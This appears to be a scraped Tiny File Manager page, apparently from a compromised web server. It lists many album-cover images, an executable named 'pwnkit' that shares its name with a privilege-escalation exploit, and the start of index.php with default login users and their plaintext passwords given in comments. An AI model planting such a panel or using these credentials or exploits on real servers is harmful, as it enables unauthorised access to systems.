VIR99960265425.jpg
95.02
KB
-rw----r--
VIR99964192727.jpg
67.79
KB
-rw----r--
VIR99968572600.jpg
24.33
KB
-rw----r--
VIR99969457302.jpg
74.92
KB
-rw----r--
VIR99969457401.jpg
64.08
KB
-rw----r--
VIR99969946905.jpg
69.58
KB
-rw----r--
VIRVC5450592.jpg
123.45
KB
-rw----r--
VIRVC790739-2.jpg
88.66
KB
-rw----r--
VIRVC790834-2.jpg
169.52
KB
-rw----r--
VOX27503.jpg
92.53
KB
-rw-r--r--
VRO27095_96.jpg
105.71
KB
-rw----r--
VTPCD92036.jpg
51.18
KB
-rw-r--r--
WAR0190295983444.jpg
213.22
KB
-rw----r--
WAR0927-45339-2.jpg
23.23
KB
-rw----r--
WAR206636-2.jpg
83.03
KB
-rw----r--
WAR256463594.jpg
80.43
KB
-rw----r--
WAR256467181-4.jpg
136.69
KB
-rw----r--
WAR256469650-3.jpg
132.26
KB
-rw----r--
WAR45664-2.jpg
98.29
KB
-rw----r--
WAR500857-2.jpg
64.89
KB
-rw----r--
WAR5021732250858.jpg
112.82
KB
-rw-r--r--
WAR5023287.jpg
111.26
KB
-rw----r--
WAR984519-2.jpg
121.35
KB
-rw----r--
WARWE885.JPG
11.75
KB
-rw----r--
ZIG001101.JPG
24.56
KB
-rw----r--
ZIG010301.JPG
17.38
KB
-rw----r--
ZIG010701.jpg
9.92
KB
-rw----r--
ZIG010801-2.jpg
52
KB
-rw----r--
ZIG020201.JPG
18.46
KB
-rw----r--
ZIG020301.JPG
21.32
KB
-rw----r--
ZIG020401.JPG
22.69
KB
-rw----r--
ZIG020402.JPG
27.99
KB
-rw----r--
ZIG020601.JPG
26.36
KB
-rw----r--
ZIG020801.JPG
17.74
KB
-rw----r--
ZIG020901.JPG
22.6
KB
-rw----r--
ZIG021002.JPG
21.11
KB
-rw----r--
ZIG030201.JPG
20.52
KB
-rw----r--
ZIG030401.JPG
20.93
KB
-rw----r--
ZIG030503.JPG
28.07
KB
-rw----r--
ZIG030701.JPG
19.78
KB
-rw----r--
ZIG030801.JPG
24.7
KB
-rw----r--
ZIG030902.JPG
27.51
KB
-rw----r--
ZIG040201.JPG
18.88
KB
-rw----r--
ZIG050402.JPG
18.29
KB
-rw----r--
ZIG050501.JPG
28.45
KB
-rw----r--
ZIG050902.jpg
40.44
KB
-rw----r--
ZIG061105.JPG
20.7
KB
-rw----r--
ZIG070501.jpg
93.85
KB
-rw----r--
ZIG070902.jpg
25.68
KB
-rw----r--
ZIG080801.jpg
10.99
KB
-rw----r--
ZIG080902.jpg
242.64
KB
-rw----r--
ZIG980601.JPG
30.2
KB
-rw----r--
ZIG990701.JPG
20.32
KB
-rw----r--
ZIGZZT040401.jpg
83.55
KB
-rw-r--r--
ZIGZZT351.jpg
209.19
KB
-rw----r--
acc472232-2.jpg
35.01
KB
-rw----r--
acc47807d.jpg
24.89
KB
-rw----r--
ali9801.jpg
25.94
KB
-rw----r--
ali9805.jpg
27.31
KB
-rw----r--
ali9808.jpg
27.66
KB
-rw----r--
ali9814.jpg
26.69
KB
-rw----r--
ali9815.jpg
27.12
KB
-rw----r--
ali9822.jpg
22.44
KB
-rw----r--
alp013.jpg
13.94
KB
-rw----r--
alp015.jpg
16.83
KB
-rw----r--
alp016.jpg
16.36
KB
-rw----r--
alp020.jpg
17.31
KB
-rw----r--
alp023.jpg
97.8
KB
-rw----r--
alp030.jpg
12.23
KB
-rw----r--
alp034.jpg
13.29
KB
-rw----r--
alpha051.jpg
15.95
KB
-rw----r--
amb9902.jpg
14.32
KB
-rw----r--
amb9936.jpg
17.11
KB
-rw----r--
arca302.jpg
18.42
KB
-rw----r--
arca317.jpg
21.66
KB
-rw----r--
arca415.jpg
16.53
KB
-rw----r--
arca417.jpg
17.63
KB
-rw----r--
arca418.jpg
14.91
KB
-rw----r--
arca912.jpg
17.08
KB
-rw----r--
arp400045-2.jpg
18.66
KB
-rw----r--
arp419615-2.jpg
25.67
KB
-rw----r--
arp435001-2a.jpg
21.46
KB
-rw----r--
arp435001-2b.jpg
21.58
KB
-rw----r--
arp437549-2.jpg
23.55
KB
-rw----r--
arp439866-2.jpg
19.82
KB
-rw----r--
arp439871-2.jpg
16.77
KB
-rw----r--
arp439937-2.jpg
23.6
KB
-rw----r--
arp447092-2.jpg
26.16
KB
-rw----r--
arp447298-2.jpg
24.45
KB
-rw----r--
arp449210-2.jpg
25.56
KB
-rw----r--
arp453435-2.jpg
20.8
KB
-rw----r--
arp453479-2.jpg
25.32
KB
-rw----r--
arp457611-2.jpg
27.34
KB
-rw----r--
arp469065-2.jpg
24.56
KB
-rw----r--
arp469074-2.jpg
15.82
KB
-rw----r--
arp469532-2.jpg
14.36
KB
-rw----r--
ast128543.jpg
24.21
KB
-rw----r--
aste8544.jpg
26.1
KB
-rw----r--
aste8569.jpg
18.67
KB
-rw----r--
aste8598.jpg
24.6
KB
-rw----r--
aste8660.jpg
16.23
KB
-rw----r--
aste8721.jpg
15.89
KB
-rw----r--
aste8785.jpg
18.12
KB
-rw----r--
aste8786.jpg
16.45
KB
-rw----r--
aste8799.jpg
13.81
KB
-rw----r--
aste8834.jpg
8.01
KB
-rw----r--
aste8843.jpg
9.6
KB
-rw----r--
aste8844.jpg
10.61
KB
-rw----r--
aste8845.jpg
12.26
KB
-rw----r--
aste8888.jpg
9.27
KB
-rw----r--
aste8893.jpg
16.58
KB
-rw----r--
aste9922.jpg
14.24
KB
-rw----r--
aste9962.jpg
14.46
KB
-rw----r--
aste9967.jpg
13.51
KB
-rw----r--
aste9979.jpg
19.26
KB
-rw----r--
asvdca1111.jpg
15.93
KB
-rw----r--
asvdca1112.jpg
19.28
KB
-rw----r--
asvdca1113.jpg
17.89
KB
-rw----r--
bis1331.jpg
21.93
KB
-rw----r--
bis801.jpg
18.53
KB
-rw----r--
bis951.jpg
18.44
KB
-rw----r--
bri99730-1.jpg
23.12
KB
-rw----r--
bri99730-2.jpg
24.36
KB
-rw----r--
bri99730-3.jpg
24.93
KB
-rw----r--
bri99730-4.jpg
23.99
KB
-rw----r--
bri99730-5.jpg
21.57
KB
-rw----r--
cal3664-7.jpg
22.04
KB
-rw----r--
cal5617.jpg
23.43
KB
-rw----r--
cal6228.jpg
16.79
KB
-rw----r--
cal9635.jpg
15.67
KB
-rw----r--
cal9637.jpg
13.41
KB
-rw----r--
cal9679.jpg
14.78
KB
-rw----r--
cal9683.jpg
15.87
KB
-rw----r--
cal9709.jpg
17.69
KB
-rw----r--
cal9720.jpg
24.55
KB
-rw----r--
cbs36686.jpg
15.17
KB
-rw----r--
cbs37779.jpg
16.39
KB
-rw----r--
cbsmk37291.jpg
19.82
KB
-rw----r--
cbsmk37824.jpg
19.34
KB
-rw----r--
cbsmk39223.jpg
16.2
KB
-rw----r--
cbsmk39224.jpg
20.4
KB
-rw----r--
cbsmk39225.jpg
16.06
KB
-rw----r--
cbsmk39814.jpg
26.15
KB
-rw----r--
cbsmk42241.jpg
15
KB
-rw----r--
cbsmk42242.jpg
19.09
KB
-rw----r--
cbsmk42243.jpg
19.34
KB
-rw----r--
cbsmk42319.jpg
17.68
KB
-rw----r--
cbsmk42401.jpg
13.6
KB
-rw----r--
cbsmk76635.jpg
14.13
KB
-rw----r--
chc19503.jpg
18.03
KB
-rw----r--
cpo777015-2.jpg
28.95
KB
-rw----r--
cpo999734-2.jpg
27.61
KB
-rw----r--
cpo999897-2.jpg
30.24
KB
-rw----r--
dec410009-2.jpg
18.85
KB
-rw----r--
dec414475-2.jpg
21.27
KB
-rw----r--
dec417239-2.jpg
28.87
KB
-rw----r--
dec417577-2.jpg
23.37
KB
-rw----r--
dec417613-2.jpg
33.63
KB
-rw----r--
dec421453-2.jpg
17.09
KB
-rw----r--
dec433650-2.jpg
15.79
KB
-rw----r--
dec458271-2.jpg
24.21
KB
-rw----r--
dec458588-2.jpg
17.48
KB
-rw----r--
dec460020-2.jpg
16.35
KB
-rw----r--
dec467248-2.jpg
14.87
KB
-rw----r--
dec467697-2.jpg
21.38
KB
-rw----r--
dec470024-2.jpg
15.62
KB
-rw----r--
dec470283-2.jpg
28.95
KB
-rw----r--
dec470630-2.jpg
17.09
KB
-rw----r--
dec473944-2.jpg
17.19
KB
-rw----r--
dec475100-2.jpg
13.8
KB
-rw----r--
dgg410696-2.jpg
21.93
KB
-rw----r--
dgg413795-2.jpg
17.13
KB
-rw----r--
dgg413932-2.jpg
34.98
KB
-rw----r--
dgg415121-2.jpg
33.52
KB
-rw----r--
dgg415359-2.jpg
20.17
KB
-rw----r--
dgg415832-2.jpg
16.27
KB
-rw----r--
dgg415970-2.jpg
17.07
KB
-rw----r--
dgg419049-2.jpg
17.49
KB
-rw----r--
dgg419162-2.jpg
21.82
KB
-rw----r--
dgg419636-2.jpg
21.9
KB
-rw----r--
dgg419860-2.jpg
18.27
KB
-rw----r--
dgg423205-2.jpg
23.8
KB
-rw----r--
dgg423886-2.jpg
17.96
KB
-rw----r--
dgg427303-2.jpg
26.09
KB
-rw----r--
dgg427498-2.jpg
21.46
KB
-rw----r--
dgg427770-2.jpg
16.48
KB
-rw----r--
dgg429569-2.jpg
23.39
KB
-rw----r--
dgg431274-2.jpg
22.02
KB
-rw----r--
dgg431276-2.jpg
19.93
KB
-rw----r--
dgg431277-2.jpg
18.51
KB
-rw----r--
dgg431780-2.jpg
16.05
KB
-rw----r--
dgg435437-2.jpg
24.57
KB
-rw----r--
dgg435615-2.jpg
20.36
KB
-rw----r--
dgg435773-2.jpg
12.85
KB
-rw----r--
dgg439005-2.jpg
19.7
KB
-rw----r--
dgg445573-2.jpg
15.93
KB
-rw----r--
dgg445835-2.jpg
28.65
KB
-rw----r--
dgg447751-2.jpg
21.61
KB
-rw----r--
dgg457701-2.jpg
17.71
KB
-rw----r--
dgg471348-2.jpg
19.98
KB
-rw----r--
dgg471586-2.jpg
14.82
KB
-rw----r--
dgg474451-2.jpg
12.46
KB
-rw----r--
dhm77285-2.jpg
26.08
KB
-rw----r--
dhm77298-2.jpg
27.34
KB
-rw----r--
dhm77507-2.jpg
13.4
KB
-rw----r--
dhm77525-2.jpg
18.66
KB
-rw----r--
divcdx79406.jpg
31.86
KB
-rw----r--
ecm472084-2.jpg
28.71
KB
-rw----r--
emi555226-2.jpg
15.11
KB
-rw----r--
emi5567252.jpg
21.42
KB
-rw----r--
emi557384-2.jpg
21.12
KB
-rw----r--
emi5689942.jpg
26.24
KB
-rw----r--
emi721802a.jpg
12.49
KB
-rw----r--
emi721802b.jpg
12.72
KB
-rw----r--
emi7470022.jpg
14.7
KB
-rw----r--
emi7471662.jpg
18.51
KB
-rw----r--
emi7471712.jpg
25.17
KB
-rw----r--
emi7472608.jpg
18.31
KB
-rw----r--
emi747460.jpg
20.64
KB
-rw----r--
emi7490802.jpg
32.6
KB
-rw----r--
emi7540102.jpg
22.91
KB
-rw----r--
emi8263812.jpg
16.35
KB
-rw----r--
era0630-12598-2.jpg
18.28
KB
-rw----r--
era0630-14340-2.jpg
18.59
KB
-rw----r--
era0630-14350-2.jpg
15.95
KB
-rw----r--
era0630-17791-2.jpg
21.09
KB
-rw----r--
era2292-45305-2.jpg
26.52
KB
-rw----r--
era2292-45715-2.jpg
15.49
KB
-rw----r--
era3984-21039-5.jpg
17.32
KB
-rw----r--
era3984-25485-2.jpg
30.04
KB
-rw----r--
era4509-98477-2.jpg
19.68
KB
-rw----r--
era4509-98536-2.jpg
20.63
KB
-rw----r--
era8573-80223-2.jpg
20.38
KB
-rw----r--
era8573-85744-2.jpg
17.6
KB
-rw----r--
eraecd55036.jpg
23.26
KB
-rw----r--
eraecd75385.jpg
21.51
KB
-rw----r--
eraecd88001.jpg
14.63
KB
-rw----r--
gli779006-2.jpg
19.13
KB
-rw----r--
glo920911.jpg
17.75
KB
-rw----r--
hmu1901004.jpg
76.27
KB
-rw----r--
hmu1951032.jpg
19.03
KB
-rw----r--
hmu1951328.jpg
19.62
KB
-rw----r--
hmu1951365.jpg
14.2
KB
-rw----r--
hmu1951372.jpg
18.33
KB
-rw----r--
hmu2901424-25.jpg
15.67
KB
-rw----r--
hmu2901427-29.jpg
13.34
KB
-rw----r--
hmu2901571.jpg
16.66
KB
-rw----r--
hmu2908066.jpg
19.05
KB
-rw----r--
hmu2908068.jpg
29.27
KB
-rw----r--
hmu290850.jpg
19.68
KB
-rw----r--
hmu2951270.jpg
17.6
KB
-rw----r--
hmu2951594.jpg
17.2
KB
-rw----r--
hmu2951659.jpg
15.26
KB
-rw----r--
hmu901257-59.jpg
23.26
KB
-rw----r--
hmu901292.jpg
16.78
KB
-rw----r--
hmu901322.jpg
26.42
KB
-rw----r--
hmu901366.jpg
18.86
KB
-rw----r--
hmu901513.jpg
15.64
KB
-rw----r--
hmu901515-17.jpg
18.93
KB
-rw----r--
hmu901629.jpg
16.75
KB
-rw----r--
hmu901643.jpg
18.34
KB
-rw----r--
hmu901654.jpg
16.81
KB
-rw----r--
hmu901690.jpg
25.1
KB
-rw----r--
hmu901706.jpg
23.8
KB
-rw----r--
hmu901714-16.jpg
14.45
KB
-rw----r--
hmu901730.jpg
20.52
KB
-rw----r--
hmu901745.jpg
20.82
KB
-rw----r--
hmu901752.jpg
18.7
KB
-rw----r--
hmu901761.jpg
16.49
KB
-rw----r--
hmu901768.jpg
19.64
KB
-rw----r--
hmu901775.jpg
17.18
KB
-rw----r--
hmu901776.jpg
21.86
KB
-rw----r--
hmu901778.jpg
14.82
KB
-rw----r--
hmu901781-82.jpg
24.08
KB
-rw----r--
hmu901791.jpg
20.37
KB
-rw----r--
hmu905248.jpg
20.34
KB
-rw----r--
hmu905251.jpg
19.51
KB
-rw----r--
index.php
181.52
KB
-rw-r--r--
k617066.jpg
22.42
KB
-rw----r--
k617139.jpg
15.24
KB
-rw----r--
lig0202102-01.jpg
29.38
KB
-rw----r--
linckd036.jpg
22.2
KB
-rw----r--
magnarda.jpg
10.3
KB
-rw----r--
mdg3091189-2.jpg
34.9
KB
-rw----r--
mozart.jpeg
2.58
KB
-rw----r--
nax8550314.jpg
14.72
KB
-rw----r--
nax8550786.jpg
11.99
KB
-rw----r--
nax8550787.jpg
15.71
KB
-rw----r--
nax8550789.jpg
10.68
KB
-rw----r--
nax8550853.jpg
10.96
KB
-rw----r--
nax8553290.jpg
16.44
KB
-rw----r--
nax8553291.jpg
15.65
KB
-rw----r--
nax8553445.jpg
22.48
KB
-rw----r--
nax8553446.jpg
21.85
KB
-rw----r--
nax8553734.jpg
15.67
KB
-rw----r--
nax8553917.jpg
25.52
KB
-rw----r--
nax8554472.jpg
20.48
KB
-rw----r--
nax8554777.jpg
21.86
KB
-rw----r--
nax8555096.jpg
22.94
KB
-rw----r--
nax8555743.jpg
27.46
KB
-rw----r--
ois421060-2.jpg
22.32
KB
-rw----r--
ois421732-2.jpg
30.96
KB
-rw----r--
ois433052-2.jpg
22.61
KB
-rw----r--
ois443781-2.jpg
15.72
KB
-rw----r--
op20004.jpg
13.89
KB
-rw----r--
op20006.jpg
11.85
KB
-rw----r--
op20008.jpg
22.35
KB
-rw----r--
op30-9004.jpg
29.93
KB
-rw----r--
op30138.jpg
23.39
KB
-rw----r--
op30205.jpg
16.26
KB
-rw----r--
op30306.jpg
21.96
KB
-rw----r--
op30314.jpg
10.64
KB
-rw----r--
op30316.jpg
13.23
KB
-rw----r--
op30365.jpg
14.95
KB
-rw----r--
op3086.jpg
21.54
KB
-rw----r--
op545421-2.jpg
17.86
KB
-rw----r--
pas901.jpg
17.92
KB
-rw----r--
pas903.jpg
17.19
KB
-rw----r--
pas921.jpg
14.46
KB
-rw----r--
pas9524.jpg
26.29
KB
-rw----r--
pas9528.jpg
20.96
KB
-rw----r--
phi400025-2.jpg
20.19
KB
-rw----r--
phi410039-2.jpg
18.68
KB
-rw----r--
phi416215-2.jpg
18.24
KB
-rw----r--
phi422476-2.jpg
17.64
KB
-rw----r--
phi422968-2.jpg
24.96
KB
-rw----r--
phi422974-2.jpg
23.08
KB
-rw----r--
phi422978-2.jpg
18.54
KB
-rw----r--
phi426063-2.jpg
23.2
KB
-rw----r--
phi426632-2.jpg
19.78
KB
-rw----r--
phi426634-2.jpg
19.26
KB
-rw----r--
phi426973-2.jpg
24.38
KB
-rw----r--
phi426974-2.jpg
19.9
KB
-rw----r--
phi426976-2.jpg
24.57
KB
-rw----r--
phi434402-2.jpg
19.03
KB
-rw----r--
phi438727-2.jpg
17.88
KB
-rw----r--
phi442137-2.jpg
20.14
KB
-rw----r--
phi446676-2.jpg
21.76
KB
-rw----r--
phi462913-2.jpg
23.03
KB
-rw----r--
pra250070.jpg
22.79
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
rca09026-62542-2.jpg
18.96
KB
-rw----r--
rca09026-68314-2.jpg
23.9
KB
-rw----r--
rca74321-537302.jpg
14.04
KB
-rw----r--
son48043.jpg
18.99
KB
-rw----r--
son48047.jpg
13.76
KB
-rw----r--
son48370.jpg
13.03
KB
-rw----r--
son5081182.jpg
10.54
KB
-rw----r--
son53985.jpg
13.24
KB
-rw----r--
sons2k48042.jpg
16.41
KB
-rw----r--
sonsk45819.jpg
18.81
KB
-rw----r--
sonsk51352.jpg
19.96
KB
-rw----r--
sonsk53976.jpg
17.29
KB
-rw----r--
sonsk64397.jpg
21.72
KB
-rw----r--
sonsk66288.jpg
17.92
KB
-rw----r--
sonsk87733.jpg
13.85
KB
-rw----r--
sonsk89362.jpg
18.22
KB
-rw----r--
sonsk89729.jpg
19.52
KB
-rw----r--
sonsmk89489.jpg
16.88
KB
-rw----r--
sup35202232.jpg
24.96
KB
-rw----r--
tel0630-13141-2.jpg
20.33
KB
-rw----r--
tel0630-18301-2.jpg
21.64
KB
-rw----r--
tel0927-42205-2.jpg
14.1
KB
-rw----r--
tel2292-43526-2.jpg
29.74
KB
-rw----r--
tel2292-43675-2.jpg
25.32
KB
-rw----r--
tel2292-46018-2.jpg
20.54
KB
-rw----r--
tel2292-46331-2.jpg
25.16
KB
-rw----r--
tel3981-24828-2.jpg
19.88
KB
-rw----r--
tel3984-21475-2.jpg
20.82
KB
-rw----r--
tel3984-24828-2.jpg
21.5
KB
-rw----r--
tel3984-26731-2.jpg
13.51
KB
-rw----r--
tel4509-90843-2.jpg
18.9
KB
-rw----r--
tel4509-90881-2.jpg
18.85
KB
-rw----r--
tel4509-94458-2.jpg
21.91
KB
-rw----r--
tel4509-94459-2.jpg
16.69
KB
-rw----r--
tel4509-94552-2.jpg
21.2
KB
-rw----r--
tel4509-94566-2.jpg
33.47
KB
-rw----r--
tel4509-97208-2.jpg
18.58
KB
-rw----r--
tel4509-98420-2.jpg
23.17
KB
-rw----r--
tel8573-82536-2.jpg
16.88
KB
-rw----r--
tel8573-85495-2.jpg
21.27
KB
-rw----r--
tel9031-73148-2.jpg
20.59
KB
-rw----r--
tel9031-73267-2.jpg
18.55
KB
-rw----r--
tel9031-73268-2.jpg
17.09
KB
-rw----r--
tel9031-73269-2.jpg
17.04
KB
-rw----r--
tel9031-74727-2.jpg
18.3
KB
-rw----r--
tel9031-74859-2.jpg
22.93
KB
-rw----r--
tel9031-75713-2.jpg
18.6
KB
-rw----r--
tel9031-77315-2.jpg
23.15
KB
-rw----r--
vir545068-2.jpg
22.22
KB
-rw----r--
vir545325-2.jpg
20.69
KB
-rw----r--
vir545366-2.jpg
17.98
KB
-rw----r--
vir545420-2.jpg
15.3
KB
-rw----r--
vir545421-2.jpg
17.86
KB
-rw----r--
vir545452-2.jpg
24.75
KB
-rw----r--
vir545477-2.jpg
21.36
KB
-rw----r--
vir545481-2.jpg
18.09
KB
-rw----r--
vir545506-2.jpg
15.48
KB
-rw----r--
vir545524-2.jpg
14.16
KB
-rw----r--
vir759237-2.jpg
23.78
KB
-rw----r--
vir759320-2.jpg
25.04
KB
-rw----r--
vir790793-2.jpg
37.7
KB
-rw----r--
zig001101.jpg
24.56
KB
-rw----r--
zig020401.jpg
22.69
KB
-rw----r--
zig020801.jpg
17.74
KB
-rw----r--
zig020901.jpg
22.6
KB
-rw----r--
zig021002.jpg
21.11
KB
-rw----r--
zig030201.jpg
20.52
KB
-rw----r--
zig030401.jpg
20.93
KB
-rw----r--
zig030701.jpg
19.78
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php //Default Configuration $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}'; /** * H3K | Tiny File Manager V2.4.6 * CCP Programmers | ccpprogrammers@gmail.com * https://tinyfilemanager.github.io */ //TFM version define('VERSION', '2.4.6'); //Application Title define('APP_TITLE', 'Tiny File Manager'); // --- EDIT BELOW CONFIGURATION CAREFULLY --- // Auth with login/password // set true/false to enable/disable it // Is independent from IP white- and blacklisting $use_auth = true; // Login user name and password // Users: array('Username' => 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$SLBiZoyJf0MHUyzMYG/PdOtDiXMOLc0q7UHds3iSFFb56lW5HWs1O', //pass 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'd.m.y H:i'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // google => View documents using Google Docs Viewer // microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000; // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the customized config file, try to use it to override the default config above $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Show directory size: true or speedup output: false $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); fm_redirect(FM_SELF_URL); } // Validate connection IP if($ip_ruleset != 'OFF'){ $clientIp = $_SERVER['REMOTE_ADDR']; $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?> <section class="h-100"> <div class="container h-100"> <div class="row justify-content-md-center h-100"> <div class="card-wrapper"> <div class="card fat <?php echo fm_get_theme(); ?>"> <div class="card-body"> <form class="form-signin" action="" method="post" autocomplete="off"> <div class="form-group"> <div class="brand"> <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager"> <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none"> <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/> <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/> <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g> </svg> </div> <div class="text-center"> <h1 class="card-title"><?php echo APP_TITLE; ?></h1> </div> </div> <hr /> 